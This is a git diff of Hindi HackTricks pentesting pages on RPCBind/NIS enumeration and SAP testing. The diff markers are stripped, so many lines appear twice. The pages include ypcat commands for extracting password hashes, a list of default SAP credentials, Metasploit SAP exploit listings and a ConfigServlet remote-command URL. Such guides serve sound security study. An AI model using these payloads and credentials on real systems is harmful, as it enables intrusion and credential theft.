**डिफ़ॉल्ट पोर्ट:** 111/TCP/UDP, 32771 ओरेकल सोलरिस में
```
PORT STATE SERVICE
111/tcp open rpcbind
```
## जांच
## जाँच परिक्षण
```
rpcinfo irked.htb
nmap -sSUC -p111 192.168.10.1
```
कभी-कभी यह आपको कोई जानकारी नहीं देता, और अन्य समयों आपको इस तरह कुछ मिल सकता है:
![](<../.gitbook/assets/image (550).png>)
### Shodan
* `port:111 portmap`
## RPCBind + NFS
यदि आप सेवा NFS पाते हैं तो संभावित रूप से आप फ़ाइलों की सूची बना सकते हैं और डाउनलोड कर सकते हैं (और शायद अपलोड भी):
यदि आप सेवा NFS पाते हैं तो शायद आप फ़ाइलों की सूची बना सकते हैं और डाउनलोड कर सकते हैं (और शायद अपलोड भी):
![](<../.gitbook/assets/image (232).png>)
![](<../.gitbook/assets/image (869).png>)
Read[ 2049 - Pentesting NFS service](nfs-service-pentesting.md) इस प्रोटोकॉल को टेस्ट करने के बारे में अधिक जानने के लिए।
[2049 - Pentesting NFS सेवा](nfs-service-pentesting.md) पढ़ें इस प्रोटोकॉल को टेस्ट करने के बारे में अधिक जानने के लिए।
## NIS
**NIS** की वंशावली की सुरक्षा दोषों की खोज एक दो-स्टेप प्रक्रिया में शामिल है, जिसकी शुरुआत सेवा `ypbind` की पहचान के साथ होती है। इस खोज का मूल आधार **NIS डोमेन नाम** का खुलासा है, जिसके बिना प्रगति रुक जाती है।
**NIS** की वंशावली की खोज एक दो-स्टेप प्रक्रिया में शामिल है, जिसकी शुरुआत सेवा `ypbind` की पहचान के साथ होती है। इस खोज का मूल तत्व है **NIS डोमेन नाम** का खुलासा, जिसके बिना प्रगति रुक जाती है।
![](<../.gitbook/assets/image (233).png>)
![](<../.gitbook/assets/image (856).png>)
खोज की यात्रा उन आवश्यक पैकेजों की स्थापना के साथ शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करने की आवश्यकता है ताकि डोमेन नाम और सर्वर आईपी के साथ इसे पिंग करके NIS सर्वर की मौजूदगी की पुष्टि की जा सके, सुनिश्चित करें कि ये तत्व सुरक्षा के लिए अनामित हैं।
खोज की यात्रा उन आवश्यक पैकेजों की स्थापना के साथ शुरू होती है (`apt-get install nis`)। अगला कदम `ypwhich` का उपयोग करने की आवश्यकता है ताकि डोमेन नाम और सर्वर आईपी के साथ उस NIS सर्वर की मौजूदगी की पुष्टि की जा सके, सुनिश्चित करें कि ये तत्व सुरक्षा के लिए अनामित हैं।
अंतिम और महत्वपूर्ण कदम में `ypcat` कमांड शामिल है जिसका उद्देश्य संवेदनशील डेटा निकालना है, विशेष रूप से एन्क्रिप्टेड उपयोगकर्ता पासवर्ड। ये हैश, जो उपकरण जैसे **John the Ripper** का उपयोग करके क्रैक किए जाते हैं, सिस्टम एक्सेस और विशेषाधिकारों के बारे में अंदरूनी जानकारी प्रकट करते हैं।
```bash
@ -59,26 +68,26 @@ ypcat d <domain-name> h <server-ip> passwd.byname
```
### NIF फ़ाइलें
| **मास्टर फ़ाइल** | **मानचित्र(एस)** | **टिप्पणियाँ** |
| **मास्टर फ़ाइल** | **नक्शा(s)** | **टिप्पणियाँ** |
| ---------------- | --------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | होस्टनेम और आईपी विवरण शामिल हैं |
| /etc/passwd | passwd.byname, passwd.byuid | NIS उपयोगकर्ता पासवर्ड फ़ाइल |
| /etc/group | group.byname, group.bygid | NIS समूह फ़ाइल |
| /usr/lib/aliases | mail.aliases | विवरण मेल उपनाम |
| /etc/passwd | passwd.byname, passwd.byuid | NIS उपयोगकर्ता पासवर्ड फ़ाइल |
| /etc/group | group.byname, group.bygid | NIS समूह फ़ाइल |
| /usr/lib/aliases | mail.aliases | विवरण मेल उपनाम |
## RPC उपयोगकर्ता
यदि आपको **rusersd** सेवा इस प्रकार सूचीत दिखाई देती है:
अगर आपको **rusersd** सेवा इस तरह सूचीबद्ध मिलती है:
![](<../.gitbook/assets/image (231).png>)
![](<../.gitbook/assets/image (1038).png>)
तो आप बॉक्स के उपयोगकर्ताओं की जांच कर सकते हैं। इसका अध्ययन करने के लिए [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md) पढ़ें।
तो आप बॉक्स के उपयोगकर्ताओं की जांच कर सकते हैं। इसके बारे में जानने के लिए [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md) पढ़ें।
## फ़िल्टर किया गया पोर्टमैपर पोर्ट को छोड़ें
**nmap स्कैन** करते समय खुले NFS पोर्ट्स की खोज करने पर पोर्ट 111 फ़िल्टर किया जाता है, इन पोर्ट्स का सीधा शोषण संभावनाशील नहीं है। हालांकि, **अपनी मशीन पर एक पोर्टमैपर सेवा का अनुकरण करते हुए और अपनी मशीन से लक्ष्य तक एक टनल बनाते हुए**, मानक उपकरणों का उपयोग करके शोषण संभव हो जाता है। यह तकनीक पोर्ट 111 की फ़िल्टर की गई स्थिति को छोड़ने की अनुमति देती है, जिससे NFS सेवाओं तक पहुँचने की संभना होती है। इस विधि पर विस्तृत मार्गदर्शन के लिए, [इस लिंक](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) पर उपलब्ध लेख का संदर्भ दें।
**nmap स्कैन** करते समय खुले NFS पोर्ट्स खोजने पर पोर्ट 111 फ़िल्टर किया जाता है, तो इन पोर्ट्स का सीधा शोषण संभावनाशील नहीं होता। हालांकि, **अपनी मशीन से पोर्टमैपर सेवा का नकलीकरण करते हुए और अपनी मशीन से लक्ष्य तक एक टनल बनाते हुए**, मानक उपकरणों का उपयोग करके शोषण संभव हो जाता है। यह तकनीक पोर्ट 111 की फ़िल्टर की गई स्थिति को छोड़ने की अनुमति देती है, जिससे NFS सेवाओं तक पहुँच संभव हो जाती है। इस विधि पर विस्तृत मार्गदर्शन के लिए, [इस लिंक](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) पर उपलब्ध लेख का संदर्भ दें।
## शोडन
## Shodan
* `Portmap`
@ -86,6 +95,10 @@ ypcat d <domain-name> h <server-ip> passwd.byname
* इन तकनीकों का अभ्यास [**Irked HTB मशीन**](https://app.hackthebox.com/machines/Irked) में करें।
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## HackTricks स्वचालित कमांड
```
Protocol_Name: Portmapper #Protocol Abbreviation if there is one.
@ -117,9 +130,9 @@ Command: nmap -sSUC -p 111 {IP}
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -4,28 +4,32 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# SAP के बारे में परिचय
SAP का मतलब है Systems Applications and Products in Data Processing. SAP, परिभाषा के अनुसार, ERP \(एंटरप्राइज रिसोर्स प्लानिंग\) सॉफ़्टवेयर का नाम है और कंपनी का नाम भी है।
SAP सिस्टम में कई पूरी तरह से एकीकृत मॉड्यूल होते हैं, जो व्यावसायिक प्रबंधन के हर पहलू को कवर करते हैं।
SAP सिस्टम में कई पूरी तरह से एकीकृत मॉड्यूल होते हैं, जो व्यावसायिक प्रबंधन के हर पहलू को लगभग कवर करते हैं।
प्रत्येक SAP इंस्टेंस \(या SID\) तीन परतों से मिलकर बना होता है: डेटाबेस, एप्लिकेशन और प्रस्तुति\), प्रत्येक लैंडस्केप आम तौर पर चार इंस्टेंस से मिलकर बना होता है: डेव, टेस्ट, QA और उत्पादन।
प्रत्येक परत को किसी हद तक उत्पादन किया जा सकता है, लेकिन सबसे अधिक प्रभाव डेटाबेस को **हमला करके** प्राप्त किया जा सकता है।
प्रत्येक SAP इंस्टेंस को ग्राहकों में विभाजित किया जाता है। प्रत्येक का एक उपयोगकर्ता SAP\* होता है, एप्लिकेशन का "रूट" का समकक्ष।
प्रारंभिक रूप से निर्माण के समय, इस उपयोगकर्ता SAP\* को एक डिफ़ॉल्ट पासवर्ड मिलता है: "060719992" \(और डिफ़ॉल्ट पासवर्ड नीचे दिया गया है\)।
आप हैरान हो जाएंगे अगर आप जानते कि इन **पासवर्डों को टेस्ट या डेव वातावरण में अक्सर बदला नहीं जाता है**!
प्रारंभिक रूप से निर्माण के समय, इस उपयोगकर्ता SAP\* को एक डिफ़ॉल्ट पासवर्ड मिलता है: "060719992" \(और अधिक डिफ़ॉल्ट पासवर्ड नीचे दिए गए हैं।)
आप हैरान हो जाएंगे अगर आप जानते कि इन **पासवर्डों को टेस्ट या डेव वातावरण में बदला नहीं गया है**!
किसी भी सर्वर के शैल में पहुंचने के लिए उपयोगकर्ता नाम का उपयोग करके किसी भी सर्वर के शैल में पहुंचने के लिए उपयोगकर्ता &lt;SID&gt;adm का उपयोग करें
किसी भी सर्वर के शैल में पहुंचने के लिए उपयोगकर्ता नाम का उपयोग करके किसी भी सर्वर के शैल में पहुंचने का प्रयास करें &lt;SID&gt;adm
ब्रूटफोर्सिंग मदद कर सकता है, हालांकि वहाँ खाता लॉकआउट मेकेनिज़्म हो सकता है।
# खोज
@ -33,9 +37,7 @@ SAP सिस्टम में कई पूरी तरह से एकी
> अगला खंड अधिकांशत: [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) उपयोगकर्ता shipcod3 से है!
* टेस्टिंग के लिए एप्लिकेशन स्कोप या प्रोग्राम ब्रीफ जांचें। SAP GUI से कनेक्ट करने के लिए होस्टनेम या सिस्टम इंस्टेंस का ध्यान रखें।
* यदि एप्लिकेशन इंटरनेट-फेसिंग या सार्वजनिक है तो फ़ाइलें, सबडोमेन और जूसी जानकारी के लिए OSINT \(ओपन सोर्स इंटेलिजेंस\), शोडन और गूगल डॉर्क्स की जांच करें।
</details>
* यदि एप्लिकेशन इंटरनेट-फेसिंग या सार्वजनिक है तो फ़ाइलें, सबडोमेन और जूसी जानकारी के लिए OSINT \(ओपन सोर्स इंटेलिजेंस\), शोडन और गूगल डॉर्क्स की जांच करें:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
@ -45,19 +47,19 @@ https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* यहाँ देखिए [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
* यहाँ वह दिखता है [http://SAP:50000/irj/portal](http://sap:50000/irj/portal)
![SAP लॉगऑन स्क्रीन](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* खुले पोर्ट्स और जाने माने सेवाओं (sap राउटर, वेबडीएनप्रो, वेब सेवाएं, वेब सर्वर आदि) के लिए nmap का उपयोग करें।
* खुले पोर्ट्स और जानी जाने वाली सेवाओं के लिए nmap का उपयोग करें \(sap राउटर, webdynpro, web सेवाएं, web सर्वर, आदि\)
* यदि एक वेब सर्वर चल रहा है तो URL क्रॉल करें।
* यदि कुछ विशेष पोर्ट पर वेब सर्वर है तो डायरेक्टरीज़ को फज़ करें (आप बर्प इंट्रूडर का उपयोग कर सकते हैं)। यहाँ कुछ अच्छे वर्डलिस्ट हैं जो सिक्योरलिस्ट्स प्रोजेक्ट द्वारा डिफ़ॉल्ट SAP ICM पाथ और अन्य दिलचस्प डायरेक्टरीज़ या फ़ाइलें खोजने के लिए प्रदान की गई हैं:
* यदि कुछ विशेष पोर्ट पर वेब सर्वर है तो निर्दिष्ट डायरेक्टरीज़ को फज़ करें \(आप बर्प इंट्रूडर का उपयोग कर सकते हैं\)। यहाँ कुछ अच्छे वर्डलिस्ट हैं जो सिक्योरलिस्ट्स प्रोजेक्ट द्वारा पूर्वनिर्धारित SAP ICM पथ और अन्य दिलचस्प डायरेक्टरीज़ या फ़ाइलें खोजने के लिए प्रदान की गई हैं:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt)
* SAP सेवा खोज ऑक्जिलरी Metasploit मॉड्यूल का उपयोग करें सैप इंस्टेंसेस/सेवाएं/कॉम्पोनेंट्स की जांच के लिए:
* SAP सेवा खोज अवयव Metasploit मॉड्यूल का उपयोग करें सूचीत करने के लिए SAP इंस्टेंस/सेवाएं/कॉम्पोनेंट्स:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
@ -76,10 +78,10 @@ msf auxiliary(sap_service_discovery) > run
```
## थिक क्लाइंट / SAP GUI का परीक्षण
स्थानीय SAP GUI से कनेक्ट करने के लिए निम्नलिखित कमांड है
`sapgui <sap सर्वर होस्टनाम> <सिस्टम संख्या>`
यहाँ SAP GUI से कनेक्ट करने के लिए कमांड है
`sapgui <sap सर्वर होस्टनाम> <सिस्टम नंबर>`
* डिफ़ॉल्ट क्रेडेंशियल की जाँच करें \(बगक्राउड की वल्नरेबिलिटी रेटिंग टैक्सोनोमी में, यह P1 के रूप में माना जाता है -&gt; सर्वर सुरक्षा गलतियों \| डिफ़ॉल्ट क्रेडेंशियल का उपयोग करना \| प्रोडक्शन सर्वर\) :
* डिफ़ॉल्ट क्रेडेंशियल के लिए जांच करें \(बगक्राउड की वल्नरेबिलिटी रेटिंग टैक्सोनोमी में, यह P1 के रूप में माना जाता है -&gt; सर्वर सुरक्षा गलतियों \| डिफ़ॉल्ट क्रेडेंशियल का उपयोग करना \| प्रोडक्शन सर्वर\) :
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
@ -130,34 +132,34 @@ SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* वायरशार्क चलाएं और फिर ग्राहक (SAP GUI) में प्रमाणीकरण करें उन प्रमाणों का उपयोग करके जो एसएसएल के बिना प्रेषित करते हैं क्योंकि कुछ ग्राहक प्रमाण बिना एसएसएल के प्रेषित करते हैं। वायरशार्क के लिए दो ज्ञात प्लगइन हैं जो SAP DIAG प्रोटोकॉल द्वारा उपयोग किए जाने वाले मुख्य हेडर का विश्लेषण कर सकते हैं: SecureAuth Labs SAP dissection plug-in और Positive Research Center द्वारा SAP DIAG प्लगइन
* कम-विशेषाधिकार उपयोगकर्ताओं के लिए कुछ SAP लेन-कोड (tcodes) का उपयोग करके विशेषाधिकार उन्नति की जांच करें:
* SU01 - उपयोगकर्ताओं को बनाने और रखने के लिए
* वायरशार्क चलाएं और फिर प्रमाणीकरण करें क्लाइंट (SAP GUI) में उन परिचय क्रेडेंशियल का उपयोग करें जो आपको मिले क्योंकि कुछ क्लाइंट SSL के बिना क्रेडेंशियल भेजते हैं। वायरशार्क के लिए दो ज्ञात प्लगइन हैं जो SAP DIAG प्रोटोकॉल द्वारा उपयोग किए जाने वाले मुख्य हेडर का विश्लेषण कर सकते हैं: SecureAuth Labs SAP dissection plug-in और SAP DIAG plugin by Positive Research Center।
* निम्न-वर्गीकृत उपयोगकर्ताओं के लिए कुछ SAP ट्रांजैक्शन कोड (टीकोड्स) का उपयोग करके विशेषाधिकार उन्नति की जांच करें:
* SU01 - उपयोगकर्ताओं को बनाने और रखरखाव करने के लिए
* SU01D - उपयोगकर्ताओं को प्रदर्शित करने के लिए
* SU10 - बृहत रखरखाव के लिए
* SU02 - प्रोफ़ाइल क मैन्युअल निर्माण के लिए
* SU02 - प्रोफ़ाइल क मैन्युअल निर्माण के लिए
* SM19 - सुरक्षा मुआयना - विन्यास
* SE84 - SAP R/3 अधिकारों के लिए सूचना प्रणाली
* जांचें कि क्या आप ग्राहक में सिस्टम कमांड निष्पादित कर सकते हैं / स्क्रिप्ट चला सकते हैं।
* BAPI Explorer पर XSS कर सकते हैं क्या जांचें
* SE84 - SAP R/3 अधिकारीकरण के लिए सूचना सिस्टम
* जांचें कि क्या आप क्लाइंट में सिस्टम कमांड / स्क्रिप्ट चला सकते हैं।
* जांचें कि क्या आप BAPI Explorer पर XSS कर सकते हैं
# वेब इंटरफेस का परीक्षण
* URL (खोज चरण देखें) क्रॉल करें
* डिस्कवरी चरण में जैसे URL को फज़ करें। यहाँ देखें [http://SAP:50000/index.html](http://sap:50000/index.html):
* URL क्रॉल करें (डिस्कवरी फेज देखें)
* डिस्कवरी फेज की तरह URL को फज़ करें। यह [http://SAP:50000/index.html](http://sap:50000/index.html) कुछ ऐसा दिखता है:
![SAP Index Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/index.jpeg)
* सामान्य वेब सुरक्षा दोषों की खोज करें (OWASP Top 10 को संदर्भित करें) क्योंकि कुछ स्थानों में XSS, RCE, XXE, आदि दोष हो सकते हैं।
* जेसन हैडिक्स क [“द बग हंटर्स मेथडोलॉजी”](https://github.com/jhaddix/tbhm) देखें वेब दोषों का परीक्षण के लिए।
* क्या वर्ब तंगड़ाई के माध्यम से ऑथ बायपास किया जा सकता है? शायद :)
* सामान्य वेब सुरक्षा दोषों की खोज करें (OWASP Top 10 को संदर्भित करें) क्योंकि कुछ स्थानों में XSS, RCE, XXE आदि दोष हो सकते हैं।
* जेसन हैडिक्स क [“द बग हंटर्स मेथडोलॉजी”](https://github.com/jhaddix/tbhm) की जांच के लिए।
* क्या वर्ब टैम्परिंग के माध्यम से ऑथ बायपास किया जा सकता है? शायद :)
* `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` खोलें फिर “Choose” बटन दबाएं और फिर खुले विंडो में “Search” दबाएं। आपको SAP उपयोगकर्ताओं की सूची दिखाई देनी चाहिए (सुरक्षा विस्तार: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/))
* क्या प्रमाण एचटीटीपी के माध्यम से प्रस्तुत हो रहे हैं? अगर हां है तो यह Bugcrowd के [वल्नरबिलिटी रेटिंग टैक्सोनोमी](https://bugcrowd.com/vulnerability-rating-taxonomy) के आधार पर P3 के रूप में माना जाता है: टूटी हुई प्रमाणीकरण और सत्र प्रबंधन \| HTTP के माध्यम से कमजोर लॉगिन कार्य। संकेत: [http://SAP:50000/startPage](http://sap:50000/startPage) भी देखें या लॉगऑन पोर्टल्स :)
* क्या प्रमाणीकरण HTTP के माध्यम से प्रस्तुत किए गए हैं? अगर हां, तो यह Bugcrowd की [वल्नरेबिलिटी रेटिंग टैक्सोनोमी](https://bugcrowd.com/vulnerability-rating-taxonomy) के आधार पर P3 के रूप में माना जाता है: टूटी हुई प्रमाणीकरण और सत्र प्रबंधन \| HTTP के माध्यम से कमजोर लॉगिन कार्य। संकेत: [http://SAP:50000/startPage](http://sap:50000/startPage) भी देखें या लॉगऑन पोर्टल्स :)
![SAP Start Page](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/startPage.jpeg)
* संभावित निर्देशिका सूचीकरण या प्रमाणीकरण बायपास के लिए `/irj/go/km/navigation/` की जांच करें
* [http://SAP/sap/public/info](http://sap/sap/public/info) में कुछ रसदार जानकारी है:
* [http://SAP/sap/public/info](http://sap/sap/public/info) में कुछ रसदार जानकारी है:
```xml
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
@ -256,13 +258,13 @@ exploit/windows/lpd/saplpd 2008-02
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* कुछ जाने-माने एक्सप्लॉइट्स का उपयोग करने का प्रयास करें (Exploit-DB की जाच करें) या पुराने लेकिन अच्छे "SAP ConfigServlet Remote Code Execution" जैसे हमलों का उपयोग करें:
* कुछ जाने-माने एक्सप्लॉइट्स का उपयोग करने का प्रयास करें (Exploit-DB की जाच करें) या पुराने लेकिन अच्छे "SAP ConfigServlet Remote Code Execution" जैसे हमल का उपयोग करें:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![SAP Config Servlet RCE](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap_rce.jpeg)
* बिजप्लॉइट स्क्रिप्ट पर `start` कमांड चलाने से पहले, आप निम्नलिखित भी जोड़ सकते हैं व्यूलनरेबिलिटी असेसमेंट करने के लिए:
* बिजप्लॉइट स्क्रिप्ट पर `start` कमांड चलाने से पहले, आप निम्नलिखित भी जोड़ सकते हैं विकल्पता मूल्यांकन के लिए:
```text
bizploit> plugins
bizploit/plugins> vulnassess all
@ -288,7 +290,7 @@ bizploit> start
* [PowerSAP](https://github.com/airbus-seclab/powersap) - सैप सुरक्षा का मूल्यांकन करने के लिए पावरशेल टूल
* [Burp Suite](https://portswigger.net/burp) - डायरेक्टरी फज़िंग और वेब सुरक्षा मूल्यांकन के लिए एक अनिवार्य उपकरण
* [pysap](https://github.com/SecureAuthCorp/pysap) - सैप नेटवर्क प्रोटोकॉल पैकेट बनाने के लिए पायथन लाइब्रेरी
* [pysap](https://github.com/SecureAuthCorp/pysap) - SAP नेटवर्क प्रोटोकॉल पैकेट बनाने के लिए पायथन लाइब्रेरी
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Nmap को SAP/ERP का पता लगाने में मदद करें
## संदर्भ
@ -298,8 +300,27 @@ bizploit> start
* [SAP NetWeaver ABAP सुरक्षा विन्यास भाग 3: एप्लिकेशन तक पहुंच के लिए डिफ़ॉल्ट पासवर्ड](https://erpscan.com/press-center/blog/sap-netweaver-abap-security-configuration-part-2-default-passwords-for-access-to-the-application/)
* [SAP सुरक्षा से संबंधित ABAP-ट्रांजैक्शन कोड की सूची](https://wiki.scn.sap.com/wiki/display/Security/List+of+ABAP-transaction+codes+related+to+SAP+security)
* [SAP पोर्टल को तोड़ना](https://erpscan.com/wp-content/uploads/presentations/2012-HackerHalted-Breaking-SAP-Portal.pdf)
* [सबसे दिलचस्प SAP जोखिम और हमलों की श्रेणी 10](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [सबसे रोचक SAP जोखिम और हमलों की श्रेणी 10](https://erpscan.com/wp-content/uploads/presentations/2012-Kuwait-InfoSecurity-Top-10-most-interesting-vulnerabilities-and-attacks-in-SAP.pdf)
* [बिजप्लॉइट के साथ SAP एकोसिस्टम की सुरक्षा का मूल्यांकन: डिस्कवरी](https://www.onapsis.com/blog/assessing-security-sap-ecosystems-bizploit-discovery)
* [https://www.exploit-db.com/docs/43859](https://www.exploit-db.com/docs/43859)
* [https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/](https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/)
* [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
</details>

View file

@ -2,78 +2,83 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** के [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके
